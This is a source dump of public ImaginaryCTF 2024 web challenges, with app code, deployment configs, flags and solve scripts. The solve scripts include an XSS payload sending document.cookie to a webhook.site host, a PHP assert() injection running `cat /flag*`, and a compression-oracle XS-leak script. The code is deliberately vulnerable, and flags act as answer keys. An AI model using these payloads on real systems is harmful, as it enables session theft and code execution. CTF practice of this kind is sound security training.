7 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/fill_form.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}{{ form.title }}{% endblock %} 4 | 5 | {% block content %} 6 |

{{ form.title }} by {{ form.author.username }}

7 | {% for q in form.questions %} 8 | {% set name = 'q_' + (loop.index0 | string()).zfill(2) %} 9 |
10 | 11 |
12 | {% endfor %} 13 | 14 | 32 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}Home{% endblock %} 4 | 5 | {% block content %} 6 |

Welcome to the best form-managing application ever!

7 |

Log in or register and then start creating your amazing forms!

8 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/list_forms.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}Your forms{% endblock %} 4 | 5 | {% block content %} 6 |
7 |

Here you can ask the admin to fill in your forms:

8 |
9 | {% for form in forms | reverse %} 10 |
11 |
12 |
13 |

Form name: {{ form.title }}

14 |
15 |
16 | {% for question in form.questions %} 17 |
18 | Question: {{ question.content }} 19 |
20 |
21 | Should the admin answer this question? 22 | 23 |
24 | {% endfor %} 25 | 26 |
27 |
28 | {% endfor %} 29 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/login.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}Log in{% endblock %} 4 | 5 | {% block content %} 6 |
7 |

Log in

8 |
9 | 10 |
11 |
12 | 13 |
14 | 15 |
16 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/register.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}Register{% endblock %} 4 | 5 | {% block content %} 6 |
7 |

Register

8 |
9 | 10 |
11 |
12 | 13 |
14 | 15 |
16 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/app/templates/thank_you.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block title %}Thank you!{% endblock %} 4 | 5 | {% block content %} 6 |

Thank you for filling this form!

7 | {% endblock %} -------------------------------------------------------------------------------- /Web/forms/challenge/forms.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/forms/challenge/forms.tar.gz -------------------------------------------------------------------------------- /Web/forms/challenge/requirements.txt: -------------------------------------------------------------------------------- 1 | attrs==23.2.0 2 | bcrypt==4.1.3 3 | blinker==1.8.2 4 | certifi==2024.7.4 5 | click==8.1.7 6 | Flask==3.0.3 7 | Flask-Login==0.6.3 8 | Flask-SQLAlchemy==3.1.1 9 | greenlet==3.0.3 10 | h11==0.14.0 11 | idna==3.7 12 | itsdangerous==2.2.0 13 | Jinja2==3.1.4 14 | MarkupSafe==2.1.5 15 | outcome==1.3.0.post0 16 | PySocks==1.7.1 17 | selenium==4.23.0 18 | sniffio==1.3.1 19 | sortedcontainers==2.4.0 20 | SQLAlchemy==2.0.31 21 | trio==0.26.0 22 | trio-websocket==0.11.1 23 | typing_extensions==4.9.0 24 | urllib3==2.2.2 25 | websocket-client==1.8.0 26 | Werkzeug==3.0.3 27 | wsproto==1.2.0 28 | -------------------------------------------------------------------------------- /Web/forms/challenge/run_devel.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | python3 -m flask run --debug -------------------------------------------------------------------------------- /Web/forms/challenge/solve.py: -------------------------------------------------------------------------------- 1 | from json import dumps 2 | import re 3 | import requests 4 | from secrets import token_hex 5 | 6 | #BASE_URL = 'http://localhost:5000' 7 | BASE_URL = 'http://forms.chal.imaginaryctf.org/' 8 | user = token_hex(32) 9 | webhook = f'https://webhook.site/0cd70411-3123-4ac0-8252-3162de47dc11' # replace with your own webhook, e.g. from https://app.interactsh.com/#/ 10 | payload = f'fetch(`{webhook}?${{document.cookie}}`).then(console.log)' 11 | 12 | with requests.Session() as s: 13 | r = s.post(f'{BASE_URL}/register', data={'username': user, 'password': user}) 14 | assert r.status_code == 200 15 | r = s.post(f'{BASE_URL}/login', data={'username': user, 'password': user}) 16 | assert r.status_code == 200 17 | r = s.post(f'{BASE_URL}/form/create', data={'title': 'Totally not a sus title\x1b(J', 'questions': dumps([[f'Are you an impostor?"\x7d];{payload};const foo=[//', True]])}) 18 | assert r.status_code == 200 19 | pat = re.compile(r'[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}') 20 | m = pat.search(r.text) 21 | id = m.group(0) 22 | r = s.post(f'{BASE_URL}/form/ask/{id}') 23 | assert r.status_code == 200 24 | 25 | -------------------------------------------------------------------------------- /Web/forms/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:abe5bc78f1eed01a050bc9efccde279aef560888598c0a04547b383a1429c6d4 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | RUN chmod +x /home/user/* 18 | 19 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 20 | -------------------------------------------------------------------------------- /Web/forms/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | try: 6 | s = requests.Session() 7 | r = s.get(f"http://localhost:5000/").text 8 | if "Log in" in r: 9 | exit(0) 10 | else: 11 | print("err") 12 | exit(1) 13 | except Exception as e: 14 | print(e) 15 | exit(1) 16 | -------------------------------------------------------------------------------- /Web/forms/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /Web/heapnotes/README.md: -------------------------------------------------------------------------------- 1 | # heapnotes 2 | **Category:** Web 3 | **Difficulty:** Medium-Hard 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | "If you wish to forget anything on the spot, make a note that this thing is to be remembered." 9 | 10 | - Edgar Allan Poe 11 | 12 | ## Distribution 13 | 14 | - `heapnotes-dist.zip` 15 | - website (https://heapnotes.chal.imaginaryctf.org) HTTPS pls 16 | - admin bot nc (`nc heapnotes-admin-bot.chal.imaginaryctf.org 1337`) 17 | 18 | ## Solution 19 | 20 | - zlib oracle with xs leak, flask max redirect length 21 | -------------------------------------------------------------------------------- /Web/heapnotes/admin-bot/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: heapnotes-admin-bot 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | targetPort: 1337 13 | healthcheck: 14 | enabled: false 15 | allowConnectTo: 16 | - heapnotes 17 | image: eu.gcr.io/imaginaryctf-2023/heapnotes-admin-bot-challenge:57c24006ea771469795bf3713a3fb3a6bc707c78905ed5113657e66a15d4d130 18 | -------------------------------------------------------------------------------- /Web/heapnotes/admin-bot/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{compress_n_xsleak_9b53be55} 2 | -------------------------------------------------------------------------------- /Web/heapnotes/admin-bot/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | kctf_setup && \ 4 | mount -t tmpfs none /tmp && \ 5 | while true; do kctf_drop_privs env PLAYWRIGHT_BROWSERS_PATH=0 /usr/bin/node /home/user/bot.js; done & \ 6 | kctf_drop_privs \ 7 | socat \ 8 | TCP-LISTEN:1337,reuseaddr,fork \ 9 | EXEC:"kctf_pow socat STDIN TCP\:localhost\:1338" 10 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: heapnotes 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: TCP 12 | targetPort: 443 13 | domains: 14 | - "heapnotes.chal.imaginaryctf.org" 15 | healthcheck: 16 | enabled: true 17 | image: eu.gcr.io/imaginaryctf-2023/heapnotes-healthcheck:51197f470ab63741104c2c99588c1e4850df8b22102e96bdb282f1caca30d300 18 | image: eu.gcr.io/imaginaryctf-2023/heapnotes-challenge:3aa30ebce6f24ea048b505313137e916fd1ff971b3095d897ce2ea1491680b41 19 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.9-slim 2 | 3 | ENV FLASK_APP=/app/app.py:app 4 | 5 | WORKDIR /app 6 | COPY requirements.txt /app/ 7 | RUN pip3 install -r requirements.txt 8 | 9 | COPY app.py /app 10 | COPY flag.txt /app/flag.txt 11 | COPY templates/ /app/templates/ 12 | COPY ssl/ /app/ssl/ 13 | 14 | EXPOSE 80 15 | 16 | VOLUME /tmp 17 | 18 | CMD ["python3", "/app/app.py"] 19 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{compress_n_xsleak_9b53be55} 2 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | Flask-SQLAlchemy 3 | flask_login 4 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/solve.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/solve.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import os 3 | import random 4 | import string 5 | import requests 6 | import re 7 | 8 | import http.client 9 | http.client._MAXLINE = 655360 10 | ''' 11 | # admin bot 12 | s = requests.Session() 13 | flag = "ictf{compress_n_xsleak_9b53be55}" 14 | s.post("https://heapnotes.chal.imaginaryctf.org/register", data={"username": flag, "password": "asdf"}) 15 | s.post("https://heapnotes.chal.imaginaryctf.org/login", data={"username": flag, "password": "asdf"}) 16 | ''' 17 | 18 | u = requests.Session() 19 | u.post("https://heapnotes.chal.imaginaryctf.org/register", data={"username": "test", "password": "test"}) 20 | u.post("https://heapnotes.chal.imaginaryctf.org/login", data={"username": "test", "password": "test"}) 21 | 22 | t = "ictf{" 23 | while not "}" in t: 24 | for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789": 25 | note_id = u.post("https://heapnotes.chal.imaginaryctf.org/create", data={"content": t+c, "key": "0"*65374}).text 26 | print(f""" 27 | 28 | """) 29 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/solve_test.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import os 3 | import random 4 | import string 5 | import requests 6 | import re 7 | 8 | import http.client 9 | http.client._MAXLINE = 655360 10 | 11 | # admin bot 12 | s = requests.Session() 13 | flag = "ictf{compress_n_xsleak_9b53be55}" 14 | s.post("https://heapnotes.chal.imaginaryctf.org/register", data={"username": flag, "password": "asdf"}) 15 | s.post("https://heapnotes.chal.imaginaryctf.org/login", data={"username": flag, "password": "asdf"}) 16 | 17 | # admin bot 18 | u = requests.Session() 19 | u.post("https://heapnotes.chal.imaginaryctf.org/register", data={"username": "test", "password": "test"}) 20 | u.post("https://heapnotes.chal.imaginaryctf.org/login", data={"username": "test", "password": "test"}) 21 | 22 | t = "ictf{" 23 | while not "}" in t: 24 | for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789": 25 | note_id = u.post("https://heapnotes.chal.imaginaryctf.org/create", data={"content": t+c, "key": "0"*65374}).text 26 | print(t+c, f"https://heapnotes.chal.imaginaryctf.org/note/{note_id}") 27 | r = s.get(f"https://heapnotes.chal.imaginaryctf.org/note/{note_id}") 28 | if r.status_code == 200: 29 | t += c 30 | print(t) 31 | break 32 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Home Page 6 | 7 | 8 | 9 | 10 |
11 |

Welcome to HeapNotes

12 |

where you have a whole heap of notes!


13 | 14 | {% if current_user.is_authenticated %} 15 |

You are logged in. You can create a note.

16 |

Logout

17 | {% else %} 18 |

You are not logged in. Please login or register.

19 | {% endif %} 20 | 21 |
22 | 23 | 24 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/templates/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Login 7 | 8 | 9 | 10 |
11 |

Login

12 |
13 |
14 |
15 |
16 |

17 | 18 |
19 |
20 | 21 | 22 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/templates/note.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Note 8 | 9 | 10 |
11 |

Note Content

12 |

{{ note.content }}

13 |
14 | 15 | 16 | -------------------------------------------------------------------------------- /Web/heapnotes/challenge/templates/register.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Register 7 | 8 | 9 | 10 |
11 |

Register

12 |
13 |
14 |
15 |
16 |

17 | 18 |
19 |
20 | 21 | 22 | -------------------------------------------------------------------------------- /Web/heapnotes/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:abe5bc78f1eed01a050bc9efccde279aef560888598c0a04547b383a1429c6d4 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | RUN chmod +x /home/user/* 18 | 19 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 20 | -------------------------------------------------------------------------------- /Web/heapnotes/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | 5 | try: 6 | s = requests.Session() 7 | r = s.get(f"https://localhost/login", verify=False).text 8 | if "Login" in r: 9 | exit(0) 10 | else: 11 | print(r) 12 | exit(1) 13 | except Exception as e: 14 | print(e) 15 | exit(1) 16 | -------------------------------------------------------------------------------- /Web/heapnotes/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /Web/heapnotes/heapnotes_dist.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/heapnotes/heapnotes_dist.zip -------------------------------------------------------------------------------- /Web/journal/README.md: -------------------------------------------------------------------------------- 1 | # journal 2 | **Category:** Web 3 | **Difficulty:** Easy 4 | **Author:** Eth007 5 | 6 | ## Description 7 | 8 | dear diary, there is no LFI in this app 9 | 10 | ## Distribution 11 | 12 | - `journal-dist.zip` 13 | - link 14 | 15 | ## Solution 16 | 17 | - PHP assert() before 8.0 executes code 18 | - http://localhost/?file=%27,die(`cat%20/flag*`));// 19 | -------------------------------------------------------------------------------- /Web/journal/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: journal 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 80 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/journal-challenge:44acdbf6d68a55cfc62d4ba2b5df6a95fbb17311e70e212232ce3a9c25451095 17 | -------------------------------------------------------------------------------- /Web/journal/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7-apache 2 | 3 | RUN /usr/sbin/useradd -u 1000 user 4 | 5 | COPY index.php /var/www/html/ 6 | RUN chown -R www-data:www-data /var/www/html && \ 7 | chmod -R 444 /var/www/html && \ 8 | chmod 555 /var/www/html 9 | 10 | COPY flag.txt /flag.txt 11 | COPY files /var/www/html/files/ 12 | RUN mv /flag.txt /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt 13 | 14 | VOLUME /var/log/apache2 15 | VOLUME /var/run/apache2 16 | 17 | CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND' 18 | -------------------------------------------------------------------------------- /Web/journal/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | ictf{assertion_failed_e3106922feb13b10} 2 | -------------------------------------------------------------------------------- /Web/journal/challenge/index.php: -------------------------------------------------------------------------------- 1 | Welcome to my journal app!

"; 4 | echo "

file1.txt

"; 5 | echo "

file2.txt

"; 6 | echo "

file3.txt

"; 7 | echo "

file4.txt

"; 8 | echo "

file5.txt

"; 9 | echo "

"; 10 | 11 | if (isset($_GET['file'])) { 12 | $file = $_GET['file']; 13 | $filepath = './files/' . $file; 14 | 15 | assert("strpos('$file', '..') === false") or die("Invalid file!"); 16 | 17 | if (file_exists($filepath)) { 18 | include($filepath); 19 | } else { 20 | echo 'File not found!'; 21 | } 22 | } 23 | 24 | echo "

"; 25 | -------------------------------------------------------------------------------- /Web/journal/journal-dist.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/journal/journal-dist.zip -------------------------------------------------------------------------------- /Web/notactf/README.md: -------------------------------------------------------------------------------- 1 | # notactf 2 | **Category:** Web 3 | **Difficulty:** Medium 4 | **Author:** csaraepb 5 | 6 | ## Description 7 | 8 | 9 | ## Distribution 10 | 11 | - `notactf-dist.zip` 12 | - website 13 | 14 | ## Solution 15 | 16 | - AES CBC bit flipping to log into the admin account 17 | - solve.py 18 | -------------------------------------------------------------------------------- /Web/notactf/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: "notactf" 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | ports: 11 | - protocol: "TCP" 12 | port: 80 13 | targetPort: 80 14 | healthcheck: 15 | enabled: false 16 | image: eu.gcr.io/imaginaryctf-2023/notactf-challenge:d5930b5fae3172df9d10041e65205ebecb0147f3e90c9482017526dc835044d1 17 | -------------------------------------------------------------------------------- /Web/notactf/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM mongo:latest 2 | 3 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update; apt-get -y install python3 python3-pip 4 | 5 | ENV MONGO_INITDB_DATABASE main 6 | 7 | ADD . /app 8 | WORKDIR /app 9 | RUN pip install -r requirements.txt 10 | 11 | COPY run.sh /run.sh 12 | RUN chmod +x /run.sh 13 | 14 | VOLUME /tmp 15 | 16 | CMD ["/run.sh"] 17 | -------------------------------------------------------------------------------- /Web/notactf/challenge/challenges-dist.txt: -------------------------------------------------------------------------------- 1 | [{'Valid': 'flag{placeholder}', 'Points': 42, 'Chall_Name': 'Binary Decipher', 'attachment_1': '', 'desc': 'You intercepted a binary file during a covert operation. The file seems to contain a hidden message. Your task is to decipher the message and find the flag. 01100110 01101100 01100001 01100111 01111011 01110000 01101100 01100001 01100011 01100101 01101000 01101111 01101100 01100100 01100101 01110010 01111101', 'author': 'Admin', 'Category': 'Cryptography', 'attachment_2': ''}] 2 | -------------------------------------------------------------------------------- /Web/notactf/challenge/challenges.txt: -------------------------------------------------------------------------------- 1 | [{'Valid': 'flag{zwsp_stego}', 'Points': 42, 'Chall_Name': 'Plain Sight', 'attachment_1': '', 'desc': 'T​​​​‏​‍​​​​‏‌‎​​​​‎‏‍​​​​‏​‎​​​​‏‏‎​​​​‏‏‍​​​​‏‎‏​​​​‏‎​​​​​‏‍‍​​​​‎‏​​​​​‏‎​​​​​‏‎‌​​​​‏​‌​​​​‏​‎​​​​‏‍‌​​​‌​​​here is no message here.', 'author': 'Admin', 'Category': 'Stego', 'attachment_2': ''},{'Valid': 'flag{echo}', 'Points': 42, 'Chall_Name': 'Guess the flag', 'attachment_1': '', 'desc': 'I speak without a mouth and hear without ears. I have no body, but I come alive with the wind.', 'author': 'Admin', 'Category': 'Misc', 'attachment_2': ''},{'Valid': 'flag{placeholder}', 'Points': 42, 'Chall_Name': 'Binary Decipher', 'attachment_1': '', 'desc': 'You intercepted a binary file during a covert operation. The file seems to contain a hidden message. Your task is to decipher the message and find the flag. 01100110 01101100 01100001 01100111 01111011 01110000 01101100 01100001 01100011 01100101 01101000 01101111 01101100 01100100 01100101 01110010 01111101', 'author': 'Admin', 'Category': 'Cryptography', 'attachment_2': ''},{'Valid': 'ictf{h0wd!dyoug3tH3re!0190310}', 'Points': 1000, 'Chall_Name': 'Decrypt the Hash', 'attachment_1': '', 'desc': 'Can you decrypt this hash? 10af69032a488526e7347e0b4da713bb', 'author': 'Admin', 'Category': 'Cryptography', 'attachment_2': ''}] 2 | -------------------------------------------------------------------------------- /Web/notactf/challenge/config.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | secret_key = os.urandom(256).hex() 4 | aes_key = os.urandom(256).hex() 5 | conn_string = "mongodb://localhost:27017" 6 | -------------------------------------------------------------------------------- /Web/notactf/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | db: 2 | image: mongo:latest 3 | hostname: test_mongodb 4 | environment: 5 | - MONGO_INITDB_DATABASE=main 6 | - MONGO_INITDB_ROOT_USERNAME=root 7 | - MONGO_INITDB_ROOT_PASSWORD=Pa1920sW2i1w0rand0000m2191rd 8 | ports: 9 | - 27017:27017 10 | 11 | app: 12 | build: . 13 | command: python -u app.py 14 | ports: 15 | - "8080:8080" 16 | links: 17 | - db 18 | 19 | -------------------------------------------------------------------------------- /Web/notactf/challenge/requirements.txt: -------------------------------------------------------------------------------- 1 | aes-everywhere==1.2.10 2 | certifi==2020.12.5 3 | dnspython==2.1.0 4 | Flask==1.1.2 5 | Flask-hCaptcha==0.5.4 6 | Flask-Login==0.5.0 7 | httpcats==1.1.1 8 | idna==2.10 9 | importlib-metadata==3.10.1 10 | itsdangerous==1.1.0 11 | Jinja2==2.11.3 12 | Markdown==3.3.4 13 | MarkupSafe==1.1.1 14 | pycryptodomex==3.10.1 15 | pymongo==3.11.3 16 | requests==2.25.1 17 | urllib3==1.26.4 18 | Werkzeug==1.0.1 19 | xorCryptPy==1.0.3 20 | zipp==3.4.1 21 | -------------------------------------------------------------------------------- /Web/notactf/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | python3 app.py & \ 4 | mongod 5 | -------------------------------------------------------------------------------- /Web/notactf/challenge/static/css/home.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | font-family: Arial, Helvetica, sans-serif; 4 | } 5 | 6 | .nav { 7 | background-color: #333; 8 | overflow: hidden; 9 | } 10 | 11 | .nav a { 12 | text-align: center; 13 | text-decoration: none; 14 | font-size: 17px; 15 | color: #f2f2f2; 16 | float: left; 17 | padding: 14px 16px; 18 | } 19 | 20 | .nav a:hover { 21 | background-color: #ddd; 22 | color: black; 23 | } 24 | 25 | .nav a.active { 26 | color: white; 27 | background-color: rgb(20, 34, 235); 28 | } 29 | .logout{ 30 | background-color: rgb(255, 0, 0); 31 | color: white; 32 | float: right; 33 | } 34 | #flag{ 35 | padding: 7px 10px; 36 | width: 40%; 37 | margin: 7px 0; 38 | box-sizing: border-box; 39 | border-radius: 5px; 40 | 41 | } 42 | 43 | #flagsubmit{ 44 | padding: 7px 10px; 45 | margin-top: 8px 66px; 46 | margin-right: 16px; 47 | background: #ddd; 48 | font-size: 17px; 49 | border: none; 50 | cursor: pointer; 51 | } -------------------------------------------------------------------------------- /Web/notactf/challenge/static/css/leaderboard.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | font-family: Arial, Helvetica, sans-serif; 4 | } 5 | 6 | .nav { 7 | background-color: #333; 8 | overflow: hidden; 9 | } 10 | 11 | .nav a { 12 | text-align: center; 13 | text-decoration: none; 14 | font-size: 17px; 15 | color: #f2f2f2; 16 | float: left; 17 | padding: 14px 16px; 18 | } 19 | 20 | .nav a:hover { 21 | background-color: #ddd; 22 | color: black; 23 | } 24 | 25 | .nav a.active { 26 | color: white; 27 | background-color: rgb(20, 34, 235); 28 | } 29 | .logout{ 30 | background-color: rgb(255, 0, 0); 31 | color: white; 32 | float: right; 33 | } 34 | #flag{ 35 | padding: 7px 10px; 36 | width: 40%; 37 | margin: 7px 0; 38 | box-sizing: border-box; 39 | border-radius: 5px; 40 | 41 | } 42 | 43 | #flagsubmit{ 44 | padding: 7px 10px; 45 | margin-top: 8px 66px; 46 | margin-right: 16px; 47 | background: #ddd; 48 | font-size: 17px; 49 | border: none; 50 | cursor: pointer; 51 | } 52 | 53 | -------------------------------------------------------------------------------- /Web/notactf/challenge/static/css/solves.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | font-family: Arial, Helvetica, sans-serif; 4 | } 5 | 6 | .nav { 7 | background-color: #333; 8 | overflow: hidden; 9 | } 10 | 11 | .nav a { 12 | text-align: center; 13 | text-decoration: none; 14 | font-size: 17px; 15 | color: #f2f2f2; 16 | float: left; 17 | padding: 14px 16px; 18 | } 19 | 20 | .nav a:hover { 21 | background-color: #ddd; 22 | color: black; 23 | } 24 | 25 | .nav a.active { 26 | color: white; 27 | background-color: rgb(20, 34, 235); 28 | } 29 | .logout{ 30 | background-color: rgb(255, 0, 0); 31 | color: white; 32 | float: right; 33 | } 34 | #flag{ 35 | padding: 7px 10px; 36 | width: 40%; 37 | margin: 7px 0; 38 | box-sizing: border-box; 39 | border-radius: 5px; 40 | 41 | } 42 | 43 | #flagsubmit{ 44 | padding: 7px 10px; 45 | margin-top: 8px 66px; 46 | margin-right: 16px; 47 | background: #ddd; 48 | font-size: 17px; 49 | border: none; 50 | cursor: pointer; 51 | } 52 | 53 | table { 54 | font-family: arial, sans-serif; 55 | border-collapse: collapse; 56 | width: 100%; 57 | } 58 | 59 | td, th { 60 | border: 1px solid #dddddd; 61 | text-align: left; 62 | padding: 8px; 63 | } 64 | 65 | tr:nth-child(even) { 66 | background-color: #dddddd; 67 | } 68 | -------------------------------------------------------------------------------- /Web/notactf/challenge/static/js/home.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/notactf/challenge/static/js/home.js -------------------------------------------------------------------------------- /Web/notactf/challenge/templates/blank.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Title 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /Web/notactf/challenge/templates/error.html: 